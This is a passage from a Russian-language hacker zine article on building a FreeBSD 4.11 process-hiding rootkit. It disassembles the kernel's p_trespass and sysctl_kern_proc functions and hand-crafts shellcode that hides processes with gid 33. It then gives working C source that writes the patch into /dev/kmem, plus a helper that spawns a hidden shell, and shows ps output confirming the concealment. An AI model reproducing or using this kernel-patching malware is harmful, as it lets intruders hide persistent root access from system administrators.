gid-а или даже 4-х байтового (по спецификации на gid отводится 32 бита,
а т.к. юзаются для совместимости как правило лишь 16, вторую половину
можно приладить для собственных нужд ;).
=[ 0x07 something wrong? (4.x) ]==============================================
Когда в руки попала 4.11, я сперва удивился, не обнаружив в ней
, p_cansee но всё оказалось не так плохо. Вот исходник из
sys/kern/kern_proc:
...
for (doingzomb=0 ; doingzomb < 2 ; doingzomb++) {
if (!doingzomb)
p = LIST_FIRST(&allproc);
else
p = LIST_FIRST(&zombproc);
for (; p != 0; p = LIST_NEXT(p, p_list)) {
/*
* Show a user only their processes.
*/
if ((!ps_showallprocs) && p_trespass(curproc, p))
continue;
/*
* Skip embryonic processes.
*/
if (p->p_stat == SIDL)
continue;
...
Таак, те же яйца, но в профиль - p_cansee называется p_treespass, глянем
на неё:
int
p_trespass(struct proc *p1, struct proc *p2)
{
if (p1 == p2)
return (0);
if (!PRISON_CHECK(p1, p2))
return (ESRCH);
if (p1->p_cred->p_ruid == p2->p_cred->p_ruid)
return (0);
if (p1->p_ucred->cr_uid == p2->p_cred->p_ruid)
return (0);
if (p1->p_cred->p_ruid == p2->p_ucred->cr_uid)
return (0);
if (p1->p_ucred->cr_uid == p2->p_ucred->cr_uid)
return (0);
if (!suser_xxx(0, p1, PRISON_ROOT))
return (0);
return (EPERM);
}
Здорово, оказывается у нас тут всё от обратного - по умолчанию только
рут может смотреть чужие процессы. Нам осталось лишь создать новую
привелегированную касту, которую не будет видеть даже рут. Смотрим дамп
p_trespass():
./kernel-4.11: file format elf32-i386-freebsd
Disassembly of section .text:
c023b420 <p_trespass>:
c023b420: 55 push %ebp
c023b421: 89 e5 mov %esp,%ebp
c023b423: 56 push %esi
c023b424: 53 push %ebx
c023b425: 8b 5d 08 mov 0x8(%ebp),%ebx
c023b428: 8b 75 0c mov 0xc(%ebp),%esi
# if p1 == p2 return 0
c023b42b: 39 f3 cmp %esi,%ebx
c023b42d: 74 79 je c023b4a8 <p_trespass+0x88>
# PRISON_CHECK
c023b42f: 83 bb 60 01 00 00 00 cmpl $0x0,0x160(%ebx)
c023b436: 74 18 je c023b450 <p_trespass+0x30>
c023b438: 8b 83 60 01 00 00 mov 0x160(%ebx),%eax
c023b43e: 3b 86 60 01 00 00 cmp 0x160(%esi),%eax
c023b444: 74 0a je c023b450 <p_trespass+0x30>
# замена на push 3 pop %eax, +2 байта
c023b446: b8 03 00 00 00 mov $0x3,%eax
c023b44b: eb 5d jmp c023b4aa <p_trespass+0x8a>
c023b44d: 8d 76 00 lea 0x0(%esi),%esi
# p1->p_cred->p_ruid == p2->p_cred->p_ruid ret 0
c023b450: 8b 43 10 mov 0x10(%ebx),%eax
c023b453: 8b 56 10 mov 0x10(%esi),%edx
c023b456: 8b 40 04 mov 0x4(%eax),%eax
c023b459: 3b 42 04 cmp 0x4(%edx),%eax
c023b45c: 74 4a je c023b4a8 <p_trespass+0x88>
# p1->p_ucred->cr_uid == p2->p_cred->p_ruid ret 0
c023b45e: 8b 43 10 mov 0x10(%ebx),%eax
c023b461: 8b 00 mov (%eax),%eax
c023b463: 8b 56 10 mov 0x10(%esi),%edx
c023b466: 8b 40 04 mov 0x4(%eax),%eax
c023b469: 3b 42 04 cmp 0x4(%edx),%eax
c023b46c: 74 3a je c023b4a8 <p_trespass+0x88>
# p1->p_cred->p_ruid == p2->p_ucred->cr_uid ret 0
c023b46e: 8b 4b 10 mov 0x10(%ebx),%ecx
c023b471: 8b 46 10 mov 0x10(%esi),%eax
c023b474: 8b 10 mov (%eax),%edx
c023b476: 8b 41 04 mov 0x4(%ecx),%eax
c023b479: 3b 42 04 cmp 0x4(%edx),%eax
c023b47c: 74 2a je c023b4a8 <p_trespass+0x88>
# p1->p_ucred->cr_uid == p2->p_ucred->cr_uid ret 0
c023b47e: 8b 43 10 mov 0x10(%ebx),%eax
c023b481: 8b 08 mov (%eax),%ecx
c023b483: 8b 46 10 mov 0x10(%esi),%eax
c023b486: 8b 10 mov (%eax),%edx
c023b488: 8b 41 04 mov 0x4(%ecx),%eax
c023b48b: 3b 42 04 cmp 0x4(%edx),%eax
c023b48e: 74 18 je c023b4a8 <p_trespass+0x88>
# is root here?
c023b490: 6a 01 push $0x1
c023b492: 53 push %ebx
c023b493: 6a 00 push $0x0
c023b495: e8 2e ff ff ff call c023b3c8 <suser_xxx>
# if root jump to ASS
c023b49a: 85 c0 test %eax,%eax
c023b49c: 74 0a je c023b4a8 <p_trespass+0x88>
# hehehe +4 bytes, incl %eax == 0x40
c023b49e: b8 01 00 00 00 mov $0x1,%eax
c023b4a3: eb 05 jmp c023b4aa <p_trespass+0x8a>
# shit, cut this off, +3 bytes 4 clipcode, 7 total..
c023b4a5: 8d 76 00 lea 0x0(%esi),%esi
c023b4a8: 31 c0 xor %eax,%eax
c023b4aa: 8d 65 f8 lea 0xfffffff8(%ebp),%esp
c023b4ad: 5b pop %ebx
c023b4ae: 5e pop %esi
c023b4af: c9 leave
c023b4b0: c3 ret
# + 3 bytes, TOTAL: 12
c023b4b1: 8d 76 00 lea 0x0(%esi),%esi
Клипкод можно будет вписать по адресу c023b4a8, тогда после всех ret 0
сперва будет проверяться, является ли данный процесс скрытым, и если да
то просто не обнуляем eax. Функцию придётся переписывать на асме, т.к.
фриспейс раскидан неравномерно, да к тому же и имеет место быть тьма
джампов, которые, естественно, "поедут" после просто инфецирования.
Но пока поговорим о клипкоде под 4.х (тестилось всё, как я уже сказал,
на 4.11). Сперва о структурах с инфой пользователя, они изменились.
То, что нужно нам, лежит теперь не в ucred, а в pcred:
struct pcred {
struct ucred *pc_ucred; /* Current credentials. */
uid_t p_ruid; /* Real user id. */
uid_t p_svuid; /* Saved effective user id. */
gid_t p_rgid; /* Real group id. */
gid_t p_svgid; /* Saved effective group id. */
int p_refcnt; /* Number of references. */
struct uidinfo *p_uidinfo; /* Per uid resource consumption */
};
Оффсет до указателя на pcred текущего процесса в структуре proc равен
0x10, что легко можно увидеть из приведённого дампа. И кстати, теперь
указатель на второй аргумент хранится в esi, а не в ebx. Оффсет до gid
равен 0x0c.
Примерный clipcode:
xorl %eax,%eax // обнуляем eax
// start
push $0x21
pop %edx
movl 0x10(%esi), %ebx
cmp %edx, 0x0c(%ebi) // сравниваем gid с 33
jne +1 // если не равен, то не трогаем eax
incl %eax
// end
Result:
"\x6a\x21"
"\x5a"
"\x8b\x5e\x10"
"\x39\x53\x0c"
"\x75\x01"
"\x40"
// 12 bytes
Но тут в голову ударила одна мысль - первое условие тут:
if ((!ps_showallprocs) && p_trespass(curproc, p))
Если значение sysctl-а ps_showallprocs равно нулю, то p_trespass()
скипается и собственно все наши усилия тщетны. Тогда родилась идея
пофиксить sysctl_kern_proc(), что конечно не лучший вариант с точки
зрения рационального программирования - соответственно нужно бы патчить
и sysctl_kern_args(),но это можно сделать по аналогии. Сейчас посмотрим
как быть с kern_proc, перво-наперво нужен её дамп. Вот и он:
/kernel: file format elf32-i386
Disassembly of section .text:
c023a7a0 <sysctl_kern_proc+0x88>:
c023a7a0: 1a 68 c8 sbb 0xffffffc8(%eax),%ch
c023a7a3: 14 00 adc $0x0,%al
c023a7a5: 00 6a 00 add %ch,0x0(%edx)
c023a7a8: 50 push %eax
c023a7a9: 89 c2 mov %eax,%edx
c023a7ab: 8b 42 14 mov 0x14(%edx),%eax
c023a7ae: ff d0 call *%eax
c023a7b0: 83 c4 0c add $0xc,%esp
c023a7b3: 85 c0 test %eax,%eax
c023a7b5: 0f 85 11 01 00 00 jne c023a8cc <sysctl_kern_proc+0x1b4>
c023a7bb: 31 ff xor %edi,%edi
c023a7bd: 8d 76 00 lea 0x0(%esi),%esi
c023a7c0: 85 ff test %edi,%edi
c023a7c2: 75 0c jne c023a7d0 <sysctl_kern_proc+0xb8>
c023a7c4: 8b 1d 78 d7 4b c0 mov 0xc04bd778,%ebx
c023a7ca: e9 e9 00 00 00 jmp c023a8b8 <sysctl_kern_proc+0x1a0>
c023a7cf: 90 nop
c023a7d0: 8b 1d 84 d7 4b c0 mov 0xc04bd784,%ebx
c023a7d6: e9 dd 00 00 00 jmp c023a8b8 <sysctl_kern_proc+0x1a0>
# psshowallproc == 0 ?? [1]
c023a7db: 90 nop
c023a7dc: 83 3d 6c 9f 46 c0 00 cmpl $0x0,0xc0469f6c
c023a7e3: 75 17 jne c023a7fc <sysctl_kern_proc+0xe4>
# p_trespass() == 0 ?? [2]
c023a7e5: 53 push %ebx
c023a7e6: ff 35 10 8b 48 c0 pushl 0xc0488b10
c023a7ec: e8 2f 0c 00 00 call c023b420 <p_trespass>
c023a7f1: 83 c4 08 add $0x8,%esp
c023a7f4: 85 c0 test %eax,%eax
c023a7f6: 0f 85 b9 00 00 00 jne c023a8b5 <sysctl_kern_proc+0x19d>
# p->p_stat == SIDL ?? [3]
c023a7fc: 80 7b 2c 01 cmpb $0x1,0x2c(%ebx)
c023a800: 0f 84 af 00 00 00 je c023a8b5 <sysctl_kern_proc+0x19d>
c023a806: 8b 55 08 mov 0x8(%ebp),%edx
c023a809: 8b 42 08 mov 0x8(%edx),%eax
c023a80c: 83 f8 04 cmp $0x4,%eax
c023a80f: 74 2f je c023a840 <sysctl_kern_proc+0x128>
c023a811: 7f 09 jg c023a81c <sysctl_kern_proc+0x104>
c023a813: 83 f8 02 cmp $0x2,%eax
c023a816: 74 10 je c023a828 <sysctl_kern_proc+0x110>
c023a818: eb 6d jmp c023a887 <sysctl_kern_proc+0x16f>
c023a81a: 89 f6 mov %esi,%esi
c023a81c: 83 f8 05 cmp $0x5,%eax
c023a81f: 74 4b je c023a86c <sysctl_kern_proc+0x154>
c023a821: 83 f8 06 cmp $0x6,%eax
c023a824: 74 52 je c023a878 <sysctl_kern_proc+0x160>
c023a826: eb 5f jmp c023a887 <sysctl_kern_proc+0x16f>
c023a828: 83 bb 54 01 00 00 00 cmpl $0x0,0x154(%ebx)
# JUMP POINT *********** [4]
c023a82f: 0f 84 80 00 00 00 je c023a8b5 <sysctl_kern_proc+0x19d>
c023a835: 8b 83 54 01 00 00 mov 0x154(%ebx),%eax
c023a83b: 8b 40 14 mov 0x14(%eax),%eax
c023a83e: eb 43 jmp c023a883 <sysctl_kern_proc+0x16b>
c023a840: f6 43 28 02 testb $0x2,0x28(%ebx)
c023a844: 74 6f je c023a8b5 <sysctl_kern_proc+0x19d>
c023a846: 8b 83 54 01 00 00 mov 0x154(%ebx),%eax
c023a84c: 83 78 0c 00 cmpl $0x0,0xc(%eax)
c023a850: 74 63 je c023a8b5 <sysctl_kern_proc+0x19d>
c023a852: 8b 40 0c mov 0xc(%eax),%eax
c023a855: 83 78 0c 00 cmpl $0x0,0xc(%eax)
c023a859: 74 5a je c023a8b5 <sysctl_kern_proc+0x19d>
c023a85b: 8b 40 0c mov 0xc(%eax),%eax
c023a85e: ff 70 58 pushl 0x58(%eax)
c023a861: e8 7a 6f ff ff call c02317e0 <dev2udev>
c023a866: 83 c4 04 add $0x4,%esp
c023a869: eb 18 jmp c023a883 <sysctl_kern_proc+0x16b>
c023a86b: 90 nop
c023a86c: 8b 43 10 mov 0x10(%ebx),%eax
c023a86f: 83 38 00 cmpl $0x0,(%eax)
c023a872: 74 41 je c023a8b5 <sysctl_kern_proc+0x19d>
c023a874: 8b 00 mov (%eax),%eax
c023a876: eb 08 jmp c023a880 <sysctl_kern_proc+0x168>
c023a878: 8b 43 10 mov 0x10(%ebx),%eax
c023a87b: 83 38 00 cmpl $0x0,(%eax)
c023a87e: 74 35 je c023a8b5 <sysctl_kern_proc+0x19d>
c023a880: 8b 40 04 mov 0x4(%eax),%eax
c023a883: 3b 06 cmp (%esi),%eax
c023a885: 75 2e jne c023a8b5 <sysctl_kern_proc+0x19d>
c023a887: a1 10 8b 48 c0 mov 0xc0488b10,%eax
c023a88c: 83 b8 60 01 00 00 00 cmpl $0x0,0x160(%eax)
c023a893: 74 0e je c023a8a3 <sysctl_kern_proc+0x18b>
c023a895: 8b 80 60 01 00 00 mov 0x160(%eax),%eax
c023a89b: 3b 83 60 01 00 00 cmp 0x160(%ebx),%eax
c023a8a1: 75 12 jne c023a8b5 <sysctl_kern_proc+0x19d>
c023a8a3: 57 push %edi
c023a8a4: 8b 45 14 mov 0x14(%ebp),%eax
c023a8a7: 50 push %eax
c023a8a8: 53 push %ebx
c023a8a9: e8 de fd ff ff call c023a68c <sysctl_out_proc>
c023a8ae: 83 c4 0c add $0xc,%esp
c023a8b1: 85 c0 test %eax,%eax
c023a8b3: 75 17 jne c023a8cc <sysctl_kern_proc+0x1b4>
# LAND HERE!! ********* [5]
c023a8b5: 8b 5b 08 mov 0x8(%ebx),%ebx
c023a8b8: 85 db test %ebx,%ebx
c023a8ba: 0f 85 1c ff ff ff jne c023a7dc <sysctl_kern_proc+0xc4>
c023a8c0: 47 inc %edi
c023a8c1: 83 ff 01 cmp $0x1,%edi
c023a8c4: 0f 8e f6 fe ff ff jle c023a7c0 <sysctl_kern_proc+0xa8>
c023a8ca: 31 c0 xor %eax,%eax
c023a8cc: 8d 65 f4 lea 0xfffffff4(%ebp),%esp
c023a8cf: 5b pop %ebx
c023a8d0: 5e pop %esi
c023a8d1: 5f pop %edi
c023a8d2: c9 leave
c023a8d3: c3 ret
Смотрим, что же происходит. Если psshowallproc выключен (!= 0), то при
проверке [1] скипается вызов p_tresspass():
# psshowallproc == 0 ?? [1]
c023a7db: 90 nop
c023a7dc: 83 3d 6c 9f 46 c0 00 cmpl $0x0,0xc0469f6c
# скипаем p_tresspass(), jmp to LFUCK
c023a7e3: 75 17 jne c023a7fc <sysctl_kern_proc+0xe4>
# p_trespass() == 0 ?? [2]
c023a7e5: 53 push %ebx
c023a7e6: ff 35 10 8b 48 c0 pushl 0xc0488b10
c023a7ec: e8 2f 0c 00 00 call c023b420 <p_trespass>
c023a7f1: 83 c4 08 add $0x8,%esp
c023a7f4: 85 c0 test %eax,%eax
# continue
c023a7f6: 0f 85 b9 00 00 00 jne c023a8b5 <sysctl_kern_proc+0x19d>
# LFUCK: приземляемся сюда
Вывод первый - клипкод нужно вешать сразу после вызова p_trespass(),
то есть там, куда происходит джамп из проверки [1]. Если проверка [2]
провалилась, то происходит long jump в точку [5]. Заметьте, что опкод
данной инструкции занимает целых ниипаца 6 байт.
Смотрим дальше:
# p->p_stat == SIDL ?? [3]
c023a7fc: 80 7b 2c 01 cmpb $0x1,0x2c(%ebx)
# continue;
c023a800: 0f 84 af 00 00 00 je c023a8b5 <sysctl_kern_proc+0x19d>
Обращаем внимание на то, что:
- проверка [3] занимает слишком много места
- почти не играет роли (сколько ни тестили, без неё пашет всё нормально)
- вместо неё можно вписать клипкод
- снова происходит long jump в точку [5], снова 6 байт опкод.
И наконец далее:
c023a806: 8b 55 08 mov 0x8(%ebp),%edx
c023a809: 8b 42 08 mov 0x8(%edx),%eax
c023a80c: 83 f8 04 cmp $0x4,%eax
c023a80f: 74 2f je c023a840 <sysctl_kern_proc+0x128>
c023a811: 7f 09 jg c023a81c <sysctl_kern_proc+0x104>
c023a813: 83 f8 02 cmp $0x2,%eax
c023a816: 74 10 je c023a828 <sysctl_kern_proc+0x110>
c023a818: eb 6d jmp c023a887 <sysctl_kern_proc+0x16f>
c023a81a: 89 f6 mov %esi,%esi
c023a81c: 83 f8 05 cmp $0x5,%eax
c023a81f: 74 4b je c023a86c <sysctl_kern_proc+0x154>
c023a821: 83 f8 06 cmp $0x6,%eax
c023a824: 74 52 je c023a878 <sysctl_kern_proc+0x160>
c023a826: eb 5f jmp c023a887 <sysctl_kern_proc+0x16f>
c023a828: 83 bb 54 01 00 00 00 cmpl $0x0,0x154(%ebx)
# JUMP POINT *********** [4]
c023a82f: 0f 84 80 00 00 00 je c023a8b5 <sysctl_kern_proc+0x19d>
Выводы: т.к. 6-и байт у нас нету лишних для прыжка в [5] (всё пожрёт
клипкод), то мы можем заменить их локальными джампами, а потом просто
сигануть в [4], откуда нас выкинет куда надо (если кто ещё не понял,
то джампы из [2],[3] и [4] ведут в одну точку, в нашем случае [5]).
Теперь попробуем clip_code оформить под данные условия:
.globl _start
_start:
mov 0x10(%ebx), %edx # в edx кладём указатель на ucred
cmpb $0x21, 0x0c(%edx) # gid == 33 ??
jne .lose # если нет то перепрыгиваем в lose
cmpl %edx, %edx # если да, то выставляем тригеры сравнения
jmp .win # прыгаем в точку [4]
.lose:
xorl %eax, %eax
nop
.win:
nop
ret
# eof
Обратите внимание на такую деталь: т.к. в точке [4] стоит не просто
джамп, а jump-if-equal, то нам необходимо перед прыжком выполнить
сравнение, которые бы выставило состояние тригеров в EQUAL. В данном
случае используется "cmpl %edx, %edx", хотя это не суть важно. Теперь
переводим в hex (расстояния для прыжков расчитываются из дампа):
"\x8b\x53\x10"
"\x80\x7a\x0c\x0a"
"\x75\x05" # 0x05 - прыгаем через 4 байта опкодов + через 1 байт набивки
# но о ней чуть позже
"\x39\xd2"
"\xeb\x2a" # 0x2a - расстояние до точки [4]
Полученный размер: 13 байт (не считая НДС ))). Размер перезаписанной
проверки [3] - 10, не хватает всего 3х. И вот тут самое время вспомнить
про проверку [2]:
# p_trespass() == 0 ?? [2]
c023a7e5: 53 push %ebx
c023a7e6: ff 35 10 8b 48 c0 pushl 0xc0488b10
c023a7ec: e8 2f 0c 00 00 call c023b420 <p_trespass>
c023a7f1: 83 c4 08 add $0x8,%esp
c023a7f4: 85 c0 test %eax,%eax
# continue
c023a7f6: 0f 85 b9 00 00 00 jne c023a8b5 <sysctl_kern_proc+0x19d>
^^^ Данный джамп забыли переписать на локальный, то есть получаем ещё
4 байта под клип код и необходимость фиксить адрес прыжка из первой
проверки: был 0x17, вычитаем эти 4 байта, новый адрес - 0x13.
Т.к. у нас появился 1 лишний байт, то просто сунем один nop в конец
клипкода.
Смотрим, что же получается:
// джамп из проверки [1]:
"\x75\x13" // вписываем новый адрес 0x13 вместо 0x17
// p_trespass() aka проверка [2]:
"\x53"
"\xff\x35\x10\x8b\x48\xc0"
"\xe8\x2f\x0c\x00\x00"
"\x83\xc4\x08"
"\x85\xc0"
"\x75\x09" // меняем long jump на локальный, если юзер не имеет прав
// смотреть процесс то прыгаем его ту часть клипкода, где
// происходит джамп в точку [4], тем самым эмулируя его
// нормальную работу
// clip_code FreeBSD 4.11 (x86) 13 bytes
"\x8b\x53\x10"
"\x80\x7a\x0c\x21"
"\x75\x05"
// собственно сюда прыгает p_trespass() в случае ошибки:
"\x39\xd2"
"\xeb\x2a" // jump to [4]
// таким образом всё работает также, как в оригинальном коде
"\x90"; // набивка - 1 nop
Осталось лишь потестить.
=[ 0x08 testing on 4.11-release ]=============================================
root~# cat klmn_4.11.c
// dstaff warezz FreeBSD 4.11-Release (x86) process hider
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#define OFFSET 0xc023a7e3
#define SIZE 35
char clip_code[] =
"\x75\x13" // new offset
"\x53"
"\xff\x35\x10\x8b\x48\xc0"
"\xe8\x2f\x0c\x00\x00"
"\x83\xc4\x08"
"\x85\xc0"
"\x75\x09"
// clip_code FreeBSD 4.11 (x86) 13 bytes
"\x8b\x53\x10"
"\x80\x7a\x0c\x21"
"\x75\x05"
"\x39\xd2"
"\xeb\x2a"
"\x90";
int main()
{
int fd;
fd = open("/dev/kmem", O_WRONLY);
if (fd < 0) return 0;
if (lseek(fd, OFFSET, 0) < 0) return 0;
write(fd, &clip_code, SIZE);
close(fd);
printf("done\n");
return 0;
}
root~# cat shell.c
#include <stdio.h>
int main()
{
int pid;
char *argz[] = {"/bin/sh", "-i", 0};
pid = fork();
if (pid == 0)
{
setgid(0x21);
execve("/bin/sh", argz, 0);
return 0;
}
printf("got pid %i\n", pid);
waitpid(pid, 0, 0);
return 0;
}
root~# gcc -o shell shell.c
root~# ./shell
got pid 108
# ps -auxww
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
root 0 0.0 0.0 0 0 ?? DLs 12:42AM 0:00.00 (swapper)
root 108 0.0 0.1 632 432 v0 S 8:43PM 0:00.00 /bin/sh -i
root 107 0.0 0.1 884 512 v0 I 8:43PM 0:00.00 ./shell
root 92 0.0 0.1 1316 928 v0 I 8:43PM 0:00.01 -csh (csh)
root 91 0.0 0.1 960 708 v3 Is+ 8:43PM 0:00.00 /usr/libexec/getty Pc ttyv3
root 90 0.0 0.1 960 708 v2 Is+ 8:43PM 0:00.00 /usr/libexec/getty Pc ttyv2
root 89 0.0 0.1 960 708 v1 Is+ 8:43PM 0:00.00 /usr/libexec/getty Pc ttyv1
root 88 0.0 0.2 1276 992 v0 Is 8:43PM 0:00.01 login [pam] (login)
smmsp 73 0.0 0.3 3028 2248 ?? Is 8:43PM 0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue (sendmail)
root 70 0.0 0.3 3132 2256 ?? Is 8:43PM 0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/mqueue (sendmail)
root 67 0.0 0.1 1036 772 ?? Is 8:42PM 0:00.00 /usr/sbin/cron
root 21 0.0 0.0 212 96 ?? Is 12:42AM 0:00.00 adjkerntz -i
root 10 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (vnlru)
root 9 0.0 0.0 0 0 ?? DL 12:42AM 0:00.01 (syncer)
root 8 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (bufdaemon)
root 7 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (vmdaemon)
root 6 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (pagedaemon)
root 5 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (usb1)
root 4 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (usbtask)
root 3 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (usb0)
root 2 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (taskqueue)
root 1 0.0 0.1 552 328 ?? ILs 12:42AM 0:00.00 /sbin/init --
root 109 0.0 0.0 416 248 v0 R+ 8:43PM 0:00.00 ps -auxww
# ps
PID TT STAT TIME COMMAND
88 v0 Is 0:00.01 login [pam] (login)
92 v0 I 0:00.01 -csh (csh)
107 v0 I 0:00.00 ./shell
108 v0 S 0:00.00 /bin/sh -i
112 v0 R+ 0:00.00 ps
89 v1 Is+ 0:00.00 /usr/libexec/getty Pc ttyv1
90 v2 Is+ 0:00.00 /usr/libexec/getty Pc ttyv2
91 v3 Is+ 0:00.00 /usr/libexec/getty Pc ttyv3
# exit
root~# gcc -o klmn_4.11 klmn_4.11.c
root~# ./klmn_4.11
root~# ./shell
got pid 118
# ps
PID TT STAT TIME COMMAND
88 v0 Is 0:00.01 login [pam] (login)
92 v0 S 0:00.02 -csh (csh)
117 v0 S 0:00.00 ./shell
89 v1 Is+ 0:00.00 /usr/libexec/getty Pc ttyv1
90 v2 Is+ 0:00.00 /usr/libexec/getty Pc ttyv2
91 v3 Is+ 0:00.00 /usr/libexec/getty Pc ttyv3
# ps -auxww
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
root 0 0.0 0.0 0 0 ?? DLs 12:42AM 0:00.00 (swapper)
root 92 0.0 0.1 1320 932 v0 I 8:43PM 0:00.02 -csh (csh)
root 91 0.0 0.1 960 708 v3 Is+ 8:43PM 0:00.00 /usr/libexec/getty Pc ttyv3
root 90 0.0 0.1 960 708 v2 Is+ 8:43PM 0:00.00 /usr/libexec/getty Pc ttyv2
root 89 0.0 0.1 960 708 v1 Is+ 8:43PM 0:00.00 /usr/libexec/getty Pc ttyv1
root 88 0.0 0.2 1276 992 v0 Is 8:43PM 0:00.01 login [pam] (login)
smmsp 73 0.0 0.3 3028 2248 ?? Is 8:43PM 0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue (sendmail)
root 70 0.0 0.3 3132 2256 ?? Is 8:43PM 0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/mqueue (sendmail)
root 67 0.0 0.1 1036 772 ?? Ss 8:42PM 0:00.00 /usr/sbin/cron
root 21 0.0 0.0 212 96 ?? Is 12:42AM 0:00.00 adjkerntz -i
root 10 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (vnlru)
root 9 0.0 0.0 0 0 ?? DL 12:42AM 0:00.02 (syncer)
root 8 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (bufdaemon)
root 7 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (vmdaemon)
root 6 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (pagedaemon)
root 5 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (usb1)
root 4 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (usbtask)
root 3 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (usb0)
root 2 0.0 0.0 0 0 ?? DL 12:42AM 0:00.00 (taskqueue)
root 1 0.0 0.1 552 328 ?? ILs 12:42AM 0:00.00 /sbin/init --
root 117 0.0 0.1 884 512 v0 I 8:44PM 0:00.00 ./shell
# UHAHAHA GODLIKE!!
..и нейпёт.
=[ 0x09 outro ]===============================================================
Вот и всё! Как говорится, кто ищет тот находит. Те, кто хочет могут уже
лабать версии для разных ядер и так далее, те же кто нихуя не понял и
ждёт удобного готового софта - в Бобруйск! В инклудах лежат данные
выше примитивные примеры для 5.0 и 4.11.
~ Have a lot of phun
з.ы. Хырь - СУКА